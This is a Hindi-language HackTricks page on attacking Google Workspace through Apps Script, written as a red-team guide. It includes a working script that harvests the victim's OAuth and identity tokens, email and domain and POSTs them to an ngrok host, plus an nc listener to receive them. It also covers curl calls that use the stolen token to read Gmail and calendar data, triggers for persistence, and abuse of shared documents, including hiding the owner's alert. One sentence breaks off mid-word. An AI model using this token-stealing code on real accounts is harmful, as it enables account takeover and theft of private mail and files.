GWS - App Scripts

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

ऐप स्क्रिप्ट

ऐप स्क्रिप्ट वह कोड है जो एक उपयोगकर्ता को ट्रिगर करेगा जब एप्प स्क्रिप्ट से जुड़े दस्तावेज़ तक पहुंचने वाला उपयोगकर्ता संपादक अनुमति के साथ दस्तावेज़ तक पहुंचता है और OAuth प्रॉम्प्ट स्वीकार करने के बाद। इन्हें भी मालिक के द्वारा निर्धारित निश्चित समय के बाद क्रियान्वित किया जा सकता है (स्थिरता)।

ऐप स्क्रिप्ट बनाएं

ऐप स्क्रिप्ट बनाने के कई तरीके हैं, हालांकि सबसे सामान्य तरीके हैं किसी भी प्रकार के Google दस्तावेज़ से और एक स्वतंत्र परियोजना के रूप में:

Google Docs, Sheets, या Slides से container-bound परियोजना बनाएं
  1. एक Docs दस्तावेज़, एक Sheets पंजीकरण, या Slides प्रस्तुति खोलें।

  2. Extensions > Google Apps Script पर क्लिक करें।

  3. स्क्रिप्ट संपादक में, Untitled project पर क्लिक करें।

  4. अपने परियोजना को एक नाम दें और Rename पर क्लिक करें।

स्वतंत्र परियोजना बनाएं

Apps Script से स्वतंत्र परियोजना बनाने के लिए:

  1. script.google.com पर जाएं।

  2. नया परियोजना पर क्लिक करें।

  3. स्क्रिप्ट संपादक में, Untitled project पर क्लिक करें।

  4. अपने परियोजना को एक नाम दें और Rename पर क्लिक करें।

Google Drive से स्वतंत्र परियोजना बनाएं
  1. Google Drive खोलें।

  2. नया > अधिक > Google Apps Script पर क्लिक करें।

Google Forms से container-bound परियोजना बनाएं
  1. Google Forms में एक फॉर्म खोलें।

  2. अधिक more_vert > स्क्रिप्ट संपादक पर क्लिक करें।

  3. स्क्रिप्ट संपादक में, Untitled project पर क्लिक करें।

  4. अपने परियोजना को एक नाम दें और Rename पर क्लिक करें।

clasp कमांड लाइन टूल का उपयोग करके स्वतंत्र परियोजना बनाएं

clasp एक कमांड लाइन टूल है जो आपको टर्मिनल से Apps Script परियोजनाएं बनाने, पुल/पुश करने, और डिप्लॉय करने की अनुमति देता है।

अधिक विवरण के लिए Command Line Interface using clasp guide देखें।

ऐप स्क्रिप्ट स्थिति

ऐप स्क्रिप्ट के साथ Google Sheet बनाएं

एक ऐप स्क्रिप्ट बनाने की शुरुआत करें, इस स्थिति के लिए मेरी सिफारिश है कि आप एक Google Sheet बनाएं और Extensions > App Scripts पर जाएं, यह आपके लिए एक नए ऐप स्क्रिप्ट खोलेगा जो शीट से जुड़ा होगा

टोकन लीक

OAuth टोकन तक पहुंचने के लिए आपको सेवाएं + पर क्लिक करके स्कोप जोड़ने होंगे:

  • AdminDirectory: निर्देशिका के उपयोगकर्ताओं और समूहों तक पहुंच (यदि उपयोगकर्ता के पास पर्याप्त अनुमति है)

  • Gmail: Gmail डेटा तक पहुंचने के लिए

  • Drive: Drive डेटा तक पहुंचने के लिए

  • Google Sheets API: ताकि ट्रिगर के साथ काम करे

आवश्यक स्कोप्स को बदलने के लिए आप परियोजना सेटिंग्स में जा सकते हैं और सक्षम कर सकते हैं: संपादक में "appsscript.json" मैनिफेस्ट फ़ाइल दिखाएं

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

अनुरोध को कैप्चर करने के लिए आप बस यह रन कर सकते ह।

ngrok tcp 4444
nc -lv 4444 #macOS

Permissions requested to execute the App Script:

एक बाह्य अनुरोध के साथ OAuth प्रॉम्प्ट भी बाह्य अंतबिंदु तक पहुंचने की अनुमति के लिए पूछेगा।

ट्रिगर बनाएं

एप्लिकेशन को पढ़ने के बाद, ⏰ ट्रिगर्स पर क्लिक करें ट्रिगर बनाने के लिए। getToken को फ़ंक्शन के रूप में चुनें, डिप्लॉयमेंट में Head को चुनें, इवेंट स्रोत में From spreadsheet को चुनें और इवेंट प्रकार में On open या On edit (आपकी आवश्यकतानुसार) चुनें और सेव करें।

ध्यान दें कि यदि आप कुछ डीबग करना चाहते हैं तो आप एप्लिकेशन स्क्रिप्ट के रन्स को निष्पादन टैब में जांच सकते हैं।

साझा करना

एप्लिकेशन स्क्रिप्ट को ट्रिगर करने के लिए पीड़ित को संपादक एक्सेस के साथ कनेक्ट करने की आवश्यकता है।

एप्लिकेशन स्क्रिप्ट को निष्पादित करने के लिए उपयोग किया गया टोकन ट्रिगर के निर्माता का होगा, भले ही फ़ाइल को अन्य उपयोगकर्ताओं द्वारा संपादक के रूप में खोला गया हो।

Shared With Me दस्तावेज़ का दुरुपयोग

यदि कोई आपके साथ एक दस्तावेज़ साझा करता है जिसमें एप्लिकेशन स्क्रिप्ट और एप्लिकेशन स्क्रिप्ट का ट्रिगर है जो एप्लिकेशन स्क्रिप्ट के Head का उपयोग करता है (निर्धारित डिप्लॉयमेंट नहीं), तो आप एप्लिकेशन स्क्रिप्ट को संशोधित कर सकते हैं (उदाहरण के लिए चोरी टोकन फ़ंक्शन जोड़ना), इसे एक्सेस कर सकते हैं, और एप्लिकेशन स्क्रिप्ट को उस उपयोगकर्ता की अनुमतियों के साथ निष्पादित किया जाएगा जिसने आपके साथ दस्तावेज़ साझा किया था! (ध्यान दें कि मालिक का OAuth टोकन जब ट्रिगर बनाया गया था तो उसके एक्सेस स्कोप्स होंगे जो दिए गए थे)।

स्क्रिप्ट के निर्माता को एक सूचना भेजी जाएगी जिसमें इसका संकेत मिलेगा कि किसी ने स्क्रिप्ट को संशोधित किया है (एलर्ट रोकने के लिए जीमेल अनुमतियों का उपयोग करने के बारे में क्या सोचते हैं?)

यदि कोई हमलावर एप्लिकेशन स्क्रिप्ट के स्कोप्स को संशोधित करता है तो अपड

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

उपयोगकर्ता का कैलेंडर सूची:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script के रूप में स्थिरता

स्थिरता के लिए एक विकल्प यह हो सकता है कि एक दस्तावेज़ बनाएं और getToken के लिए एक ट्रिगर जोड़ें और दस्तावेज़ को हमलावर के साथ साझा करें ताकि हर बार जब हमलावर फ़ाइल खोलता है तो वह विक्टिम का टोकन निकालता है।

एक App Script बनाना और इसे हर X समय (जैसे हर मिनट, घंटा, दिन...) के लिए ट्रिगर करना भी संभव है। जो एक हमलावर है जिसने क्रेडेंशियल्स या एक विक्टिम के सत्र को कंप्रोमाइज़ किया है वह एक App Script समय ट्रिगर सेट कर सकता है और हर दिन एक बहुत विशेषाधिकारी OAuth टोकन लीक कर सकता है:

एक App Script बनाएं, Triggers पर जाएं, Add Trigger पर क्लिक करें, और event source के रूप में Time-driven चुनें और उन विकल्पों को चुनें जो आपको अच्छे से अनुकूल हैं:

इससे एक सुरक्षा चेतावनी ईमेल और एक पुश संदेश आपके मोबाइल पर इसके बारे में सूचित करेगा।

साझा दस्तावेज़ अनसत्य प्रॉम्प्ट बायपास

इसके अतिरिक्त, यदि कोई आपके साथ एक दस्तावेज़ साझा करता है जिसमें संपादक एक्सेस है, तो आप दस्तावेज़ के अंदर App Scripts उत्पन्न कर सकते हैं और दस्तावेज़ का मालिक (निर्माता) App Script का मालिक होगा

इसका मतलब है, कि दस्तावेज़ के निर्माता कोई भी App Script के निर्माता के रूप में प्रकट होगा जो भी संपादक एक्सेस के साथ उसके अंदर बनाता है।

यह भी मतलब है कि App Script को Workspace परिवेश द्वारा विश्वसनीय माना जाएगा जिसका दस्तावेज़ का निर्माता है।

यह भी मतलब है कि यदि पहले से ही एक App Script मौजूद है और लोगों ने एक्सेस दिया है, तो जो भी डॉक पर संपादक अनुमति वाला है वह इसे संशोधित कर सकता है और उस एक्सेस का दुरुपयोग कर सकता है। इसका दुरुपयोग करने के लिए आपको लोगों को App Script को ट्रिगर करने की आवश्यकता है। और एक अच्छी ट्रिक यह है कि स्क्रिप्ट को एक वेब ऐप के रूप में प्रकाशित करें। जब लोग जो पहले से ही एक्सेस दिया है उन्हें वेब पेज तक पहुंचते हैं, तो वे App Script को ट्रिगर करेंगे (यह <img> टैग का उपयोग करके भी काम करता है)।

Last updated